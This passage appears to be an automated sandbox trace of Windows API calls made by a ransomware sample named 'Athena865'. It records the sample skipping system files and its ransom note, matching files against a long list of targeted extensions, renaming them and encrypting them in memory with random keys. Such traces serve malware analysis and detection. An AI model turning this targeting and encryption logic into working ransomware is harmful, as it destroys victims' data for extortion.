(lpString1="WMF", lpString2="wdb") returned 1 [0135.952] lstrlenW (lpString="wmdb") returned 4 [0135.952] lstrcmpiW (lpString1=".WMF", lpString2="wmdb") returned -1 [0135.952] lstrlenW (lpString="wrk") returned 3 [0135.952] lstrcmpiW (lpString1="WMF", lpString2="wrk") returned -1 [0135.952] lstrlenW (lpString="xdb") returned 3 [0135.952] lstrcmpiW (lpString1="WMF", lpString2="xdb") returned -1 [0135.953] lstrlenW (lpString="xld") returned 3 [0135.953] lstrcmpiW (lpString1="WMF", lpString2="xld") returned -1 [0135.953] lstrlenW (lpString="xmlff") returned 5 [0135.953] lstrcmpiW (lpString1="1.WMF", lpString2="xmlff") returned -1 [0135.953] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WHIRL1.WMF.Athena865") returned 71 [0135.953] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WHIRL1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\whirl1.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WHIRL1.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\whirl1.wmf.athena865"), dwFlags=0x1) returned 1 [0135.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WHIRL1.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\whirl1.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.966] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2582) returned 1 [0135.966] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0135.967] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0135.967] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0135.967] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0135.967] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0135.967] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0135.968] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd20, lpName=0x0) returned 0x154 [0135.969] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd20) returned 0x100000 [0135.970] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0135.971] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0135.971] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0135.971] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0135.971] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0135.971] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0135.971] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0135.971] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0135.971] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0135.971] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0135.971] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0135.971] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0135.971] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0135.971] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0135.972] CloseHandle (hObject=0x154) returned 1 [0135.972] CloseHandle (hObject=0x17c) returned 1 [0135.972] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0135.972] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0135.972] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0135.972] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e5c1270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xb96, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WHIRL2.WMF", cAlternateFileName="")) returned 1 [0135.972] lstrcmpiW (lpString1="WHIRL2.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0135.972] lstrcmpiW (lpString1="WHIRL2.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0135.972] lstrcmpiW (lpString1="WHIRL2.WMF", lpString2=".") returned 1 [0135.972] lstrcmpiW (lpString1="WHIRL2.WMF", lpString2="..") returned 1 [0135.972] lstrcmpiW (lpString1="WHIRL2.WMF", lpString2="windows") returned -1 [0135.972] lstrcmpiW (lpString1="WHIRL2.WMF", lpString2="bootmgr") returned 1 [0135.972] lstrcmpiW (lpString1="WHIRL2.WMF", lpString2="temp") returned 1 [0135.972] lstrcmpiW (lpString1="WHIRL2.WMF", lpString2="pagefile.sys") returned 1 [0135.972] lstrcmpiW (lpString1="WHIRL2.WMF", lpString2="boot") returned 1 [0135.972] lstrcmpiW (lpString1="WHIRL2.WMF", lpString2="ids.txt") returned 1 [0135.972] lstrcmpiW (lpString1="WHIRL2.WMF", lpString2="ntuser.dat") returned 1 [0135.972] lstrcmpiW (lpString1="WHIRL2.WMF", lpString2="perflogs") returned 1 [0135.972] lstrcmpiW (lpString1="WHIRL2.WMF", lpString2="MSBuild") returned 1 [0135.972] lstrlenW (lpString="WHIRL2.WMF") returned 10 [0135.972] lstrcpyW (in: lpString1=0x241e8ae, lpString2="WHIRL2.WMF" | out: lpString1="WHIRL2.WMF") returned="WHIRL2.WMF" [0135.973] lstrlenW (lpString="WHIRL2.WMF") returned 10 [0135.973] lstrlenW (lpString="Athena865") returned 9 [0135.973] lstrcmpiW (lpString1="HIRL2.WMF", lpString2="Athena865") returned 1 [0135.973] lstrlenW (lpString=".dll") returned 4 [0135.973] lstrcmpiW (lpString1="WHIRL2.WMF", lpString2=".dll") returned 1 [0135.973] lstrlenW (lpString=".lnk") returned 4 [0135.973] lstrcmpiW (lpString1="WHIRL2.WMF", lpString2=".lnk") returned 1 [0135.973] lstrlenW (lpString=".ini") returned 4 [0135.973] lstrcmpiW (lpString1="WHIRL2.WMF", lpString2=".ini") returned 1 [0135.973] lstrlenW (lpString=".sys") returned 4 [0135.973] lstrcmpiW (lpString1="WHIRL2.WMF", lpString2=".sys") returned 1 [0135.973] lstrlenW (lpString="WHIRL2.WMF") returned 10 [0135.973] lstrlenW (lpString="bak") returned 3 [0135.973] lstrcmpiW (lpString1="WMF", lpString2="bak") returned 1 [0135.973] lstrlenW (lpString="ba_") returned 3 [0135.973] lstrcmpiW (lpString1="WMF", lpString2="ba_") returned 1 [0135.973] lstrlenW (lpString="dbb") returned 3 [0135.973] lstrcmpiW (lpString1="WMF", lpString2="dbb") returned 1 [0135.973] lstrlenW (lpString="vmdk") returned 4 [0135.973] lstrcmpiW (lpString1=".WMF", lpString2="vmdk") returned -1 [0135.973] lstrlenW (lpString="rar") returned 3 [0135.973] lstrcmpiW (lpString1="WMF", lpString2="rar") returned 1 [0135.973] lstrlenW (lpString="zip") returned 3 [0135.973] lstrcmpiW (lpString1="WMF", lpString2="zip") returned -1 [0135.973] lstrlenW (lpString="tgz") returned 3 [0135.973] lstrcmpiW (lpString1="WMF", lpString2="tgz") returned 1 [0135.974] lstrlenW (lpString="vbox") returned 4 [0135.974] lstrcmpiW (lpString1=".WMF", lpString2="vbox") returned -1 [0135.974] lstrlenW (lpString="vdi") returned 3 [0135.974] lstrcmpiW (lpString1="WMF", lpString2="vdi") returned 1 [0135.974] lstrlenW (lpString="vhd") returned 3 [0135.974] lstrcmpiW (lpString1="WMF", lpString2="vhd") returned 1 [0135.974] lstrlenW (lpString="vhdx") returned 4 [0135.974] lstrcmpiW (lpString1=".WMF", lpString2="vhdx") returned -1 [0135.974] lstrlenW (lpString="avhd") returned 4 [0135.974] lstrcmpiW (lpString1=".WMF", lpString2="avhd") returned -1 [0135.974] lstrlenW (lpString="db") returned 2 [0135.974] lstrcmpiW (lpString1="MF", lpString2="db") returned 1 [0135.974] lstrlenW (lpString="db2") returned 3 [0135.974] lstrcmpiW (lpString1="WMF", lpString2="db2") returned 1 [0135.974] lstrlenW (lpString="db3") returned 3 [0135.974] lstrcmpiW (lpString1="WMF", lpString2="db3") returned 1 [0135.974] lstrlenW (lpString="dbf") returned 3 [0135.974] lstrcmpiW (lpString1="WMF", lpString2="dbf") returned 1 [0135.974] lstrlenW (lpString="mdf") returned 3 [0135.974] lstrcmpiW (lpString1="WMF", lpString2="mdf") returned 1 [0135.974] lstrlenW (lpString="mdb") returned 3 [0135.974] lstrcmpiW (lpString1="WMF", lpString2="mdb") returned 1 [0135.974] lstrlenW (lpString="sql") returned 3 [0135.974] lstrcmpiW (lpString1="WMF", lpString2="sql") returned 1 [0135.974] lstrlenW (lpString="sqlite") returned 6 [0135.974] lstrcmpiW (lpString1="L2.WMF", lpString2="sqlite") returned -1 [0135.975] lstrlenW (lpString="sqlite3") returned 7 [0135.975] lstrcmpiW (lpString1="RL2.WMF", lpString2="sqlite3") returned -1 [0135.975] lstrlenW (lpString="sqlitedb") returned 8 [0135.975] lstrcmpiW (lpString1="IRL2.WMF", lpString2="sqlitedb") returned -1 [0135.975] lstrlenW (lpString="xml") returned 3 [0135.975] lstrcmpiW (lpString1="WMF", lpString2="xml") returned -1 [0135.975] lstrlenW (lpString="$er") returned 3 [0135.975] lstrcmpiW (lpString1="WMF", lpString2="$er") returned 1 [0135.975] lstrlenW (lpString="4dd") returned 3 [0135.975] lstrcmpiW (lpString1="WMF", lpString2="4dd") returned 1 [0135.975] lstrlenW (lpString="4dl") returned 3 [0135.975] lstrcmpiW (lpString1="WMF", lpString2="4dl") returned 1 [0135.975] lstrlenW (lpString="^^^") returned 3 [0135.975] lstrcmpiW (lpString1="WMF", lpString2="^^^") returned 1 [0135.975] lstrlenW (lpString="abs") returned 3 [0135.975] lstrcmpiW (lpString1="WMF", lpString2="abs") returned 1 [0135.975] lstrlenW (lpString="abx") returned 3 [0135.975] lstrcmpiW (lpString1="WMF", lpString2="abx") returned 1 [0135.975] lstrlenW (lpString="accdb") returned 5 [0135.975] lstrcmpiW (lpString1="2.WMF", lpString2="accdb") returned -1 [0135.975] lstrlenW (lpString="accdc") returned 5 [0135.975] lstrcmpiW (lpString1="2.WMF", lpString2="accdc") returned -1 [0135.975] lstrlenW (lpString="accde") returned 5 [0135.975] lstrcmpiW (lpString1="2.WMF", lpString2="accde") returned -1 [0135.975] lstrlenW (lpString="accdr") returned 5 [0135.975] lstrcmpiW (lpString1="2.WMF", lpString2="accdr") returned -1 [0135.976] lstrlenW (lpString="accdt") returned 5 [0135.976] lstrcmpiW (lpString1="2.WMF", lpString2="accdt") returned -1 [0135.976] lstrlenW (lpString="accdw") returned 5 [0135.976] lstrcmpiW (lpString1="2.WMF", lpString2="accdw") returned -1 [0135.976] lstrlenW (lpString="accft") returned 5 [0135.976] lstrcmpiW (lpString1="2.WMF", lpString2="accft") returned -1 [0135.976] lstrlenW (lpString="adb") returned 3 [0135.976] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0135.976] lstrlenW (lpString="adb") returned 3 [0135.976] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0135.976] lstrlenW (lpString="ade") returned 3 [0135.976] lstrcmpiW (lpString1="WMF", lpString2="ade") returned 1 [0135.976] lstrlenW (lpString="adf") returned 3 [0135.976] lstrcmpiW (lpString1="WMF", lpString2="adf") returned 1 [0135.976] lstrlenW (lpString="adn") returned 3 [0135.976] lstrcmpiW (lpString1="WMF", lpString2="adn") returned 1 [0135.976] lstrlenW (lpString="adp") returned 3 [0135.976] lstrcmpiW (lpString1="WMF", lpString2="adp") returned 1 [0135.976] lstrlenW (lpString="alf") returned 3 [0135.976] lstrcmpiW (lpString1="WMF", lpString2="alf") returned 1 [0135.976] lstrlenW (lpString="ask") returned 3 [0135.976] lstrcmpiW (lpString1="WMF", lpString2="ask") returned 1 [0135.976] lstrlenW (lpString="btr") returned 3 [0135.976] lstrcmpiW (lpString1="WMF", lpString2="btr") returned 1 [0135.976] lstrlenW (lpString="cat") returned 3 [0135.976] lstrcmpiW (lpString1="WMF", lpString2="cat") returned 1 [0135.977] lstrlenW (lpString="cdb") returned 3 [0135.977] lstrcmpiW (lpString1="WMF", lpString2="cdb") returned 1 [0135.977] lstrlenW (lpString="ckp") returned 3 [0135.977] lstrcmpiW (lpString1="WMF", lpString2="ckp") returned 1 [0135.977] lstrlenW (lpString="cma") returned 3 [0135.977] lstrcmpiW (lpString1="WMF", lpString2="cma") returned 1 [0135.977] lstrlenW (lpString="cpd") returned 3 [0135.977] lstrcmpiW (lpString1="WMF", lpString2="cpd") returned 1 [0135.977] lstrlenW (lpString="dacpac") returned 6 [0135.977] lstrcmpiW (lpString1="L2.WMF", lpString2="dacpac") returned 1 [0135.977] lstrlenW (lpString="dad") returned 3 [0135.977] lstrcmpiW (lpString1="WMF", lpString2="dad") returned 1 [0135.977] lstrlenW (lpString="dadiagrams") returned 10 [0135.977] lstrlenW (lpString="daschema") returned 8 [0135.977] lstrcmpiW (lpString1="IRL2.WMF", lpString2="daschema") returned 1 [0135.977] lstrlenW (lpString="db-journal") returned 10 [0135.977] lstrlenW (lpString="db-shm") returned 6 [0135.977] lstrcmpiW (lpString1="L2.WMF", lpString2="db-shm") returned 1 [0135.977] lstrlenW (lpString="db-wal") returned 6 [0135.977] lstrcmpiW (lpString1="L2.WMF", lpString2="db-wal") returned 1 [0135.977] lstrlenW (lpString="dbc") returned 3 [0135.977] lstrcmpiW (lpString1="WMF", lpString2="dbc") returned 1 [0135.977] lstrlenW (lpString="dbs") returned 3 [0135.977] lstrcmpiW (lpString1="WMF", lpString2="dbs") returned 1 [0135.977] lstrlenW (lpString="dbt") returned 3 [0135.977] lstrcmpiW (lpString1="WMF", lpString2="dbt") returned 1 [0135.977] lstrlenW (lpString="dbv") returned 3 [0135.978] lstrcmpiW (lpString1="WMF", lpString2="dbv") returned 1 [0135.978] lstrlenW (lpString="dbx") returned 3 [0135.978] lstrcmpiW (lpString1="WMF", lpString2="dbx") returned 1 [0135.978] lstrlenW (lpString="dcb") returned 3 [0135.978] lstrcmpiW (lpString1="WMF", lpString2="dcb") returned 1 [0135.978] lstrcmpiW (lpString1="WMF", lpString2="dct") returned 1 [0135.978] lstrcmpiW (lpString1="WMF", lpString2="dcx") returned 1 [0135.978] lstrcmpiW (lpString1="WMF", lpString2="ddl") returned 1 [0135.978] lstrcmpiW (lpString1=".WMF", lpString2="dlis") returned -1 [0135.978] lstrcmpiW (lpString1="WMF", lpString2="dp1") returned 1 [0135.978] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WHIRL2.WMF.Athena865") returned 71 [0135.978] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WHIRL2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\whirl2.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WHIRL2.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\whirl2.wmf.athena865"), dwFlags=0x1) returned 1 [0135.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WHIRL2.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\whirl2.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.980] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2966) returned 1 [0135.980] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0135.980] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0135.980] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0135.980] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0135.981] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0135.981] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0135.982] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xea0, lpName=0x0) returned 0x154 [0135.983] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xea0) returned 0x100000 [0135.984] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0135.984] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0135.985] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0135.985] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0135.985] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0135.985] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0135.985] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0135.985] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0135.985] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0135.985] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0135.985] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0135.985] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0135.986] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0135.986] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0135.986] CloseHandle (hObject=0x154) returned 1 [0135.986] CloseHandle (hObject=0x17c) returned 1 [0135.986] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0135.986] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0135.986] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0135.986] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e5c1270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xa16, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WING1.WMF", cAlternateFileName="")) returned 1 [0135.986] lstrcmpiW (lpString1="WING1.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0135.986] lstrcmpiW (lpString1="WING1.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0135.986] lstrcmpiW (lpString1="WING1.WMF", lpString2=".") returned 1 [0135.986] lstrcmpiW (lpString1="WING1.WMF", lpString2="..") returned 1 [0135.986] lstrcmpiW (lpString1="WING1.WMF", lpString2="windows") returned 1 [0135.986] lstrcmpiW (lpString1="WING1.WMF", lpString2="bootmgr") returned 1 [0135.986] lstrcmpiW (lpString1="WING1.WMF", lpString2="temp") returned 1 [0135.986] lstrcmpiW (lpString1="WING1.WMF", lpString2="pagefile.sys") returned 1 [0135.986] lstrcmpiW (lpString1="WING1.WMF", lpString2="boot") returned 1 [0135.986] lstrcmpiW (lpString1="WING1.WMF", lpString2="ids.txt") returned 1 [0135.986] lstrcmpiW (lpString1="WING1.WMF", lpString2="ntuser.dat") returned 1 [0135.987] lstrcmpiW (lpString1="WING1.WMF", lpString2="perflogs") returned 1 [0135.987] lstrcmpiW (lpString1="WING1.WMF", lpString2="MSBuild") returned 1 [0135.987] lstrlenW (lpString="WING1.WMF") returned 9 [0135.987] lstrcpyW (in: lpString1=0x241e8ae, lpString2="WING1.WMF" | out: lpString1="WING1.WMF") returned="WING1.WMF" [0135.987] lstrlenW (lpString="WING1.WMF") returned 9 [0135.987] lstrlenW (lpString="Athena865") returned 9 [0135.987] lstrlenW (lpString=".dll") returned 4 [0135.987] lstrcmpiW (lpString1="WING1.WMF", lpString2=".dll") returned 1 [0135.987] lstrlenW (lpString=".lnk") returned 4 [0135.987] lstrcmpiW (lpString1="WING1.WMF", lpString2=".lnk") returned 1 [0135.987] lstrlenW (lpString=".ini") returned 4 [0135.987] lstrcmpiW (lpString1="WING1.WMF", lpString2=".ini") returned 1 [0135.987] lstrlenW (lpString=".sys") returned 4 [0135.987] lstrcmpiW (lpString1="WING1.WMF", lpString2=".sys") returned 1 [0135.987] lstrlenW (lpString="WING1.WMF") returned 9 [0135.987] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WING1.WMF.Athena865") returned 70 [0135.987] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WING1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wing1.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WING1.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wing1.wmf.athena865"), dwFlags=0x1) returned 1 [0135.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WING1.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wing1.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.989] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2582) returned 1 [0135.989] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0135.989] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0135.989] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0135.989] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0135.990] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0135.990] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0135.990] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd20, lpName=0x0) returned 0x154 [0135.992] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd20) returned 0x100000 [0135.995] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0135.995] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0135.995] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0135.996] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0135.996] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0135.996] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0135.996] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0135.996] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0135.996] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0135.996] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0135.996] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0135.996] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0135.996] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0135.996] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0135.996] CloseHandle (hObject=0x154) returned 1 [0135.996] CloseHandle (hObject=0x17c) returned 1 [0135.997] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0135.997] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0135.997] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0135.997] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x708e7550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x976, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WING2.WMF", cAlternateFileName="")) returned 1 [0135.997] lstrcmpiW (lpString1="WING2.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0135.997] lstrcmpiW (lpString1="WING2.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0135.997] lstrcmpiW (lpString1="WING2.WMF", lpString2=".") returned 1 [0135.997] lstrcmpiW (lpString1="WING2.WMF", lpString2="..") returned 1 [0135.997] lstrcmpiW (lpString1="WING2.WMF", lpString2="windows") returned 1 [0135.997] lstrcmpiW (lpString1="WING2.WMF", lpString2="bootmgr") returned 1 [0135.997] lstrcmpiW (lpString1="WING2.WMF", lpString2="temp") returned 1 [0135.997] lstrcmpiW (lpString1="WING2.WMF", lpString2="pagefile.sys") returned 1 [0135.997] lstrcmpiW (lpString1="WING2.WMF", 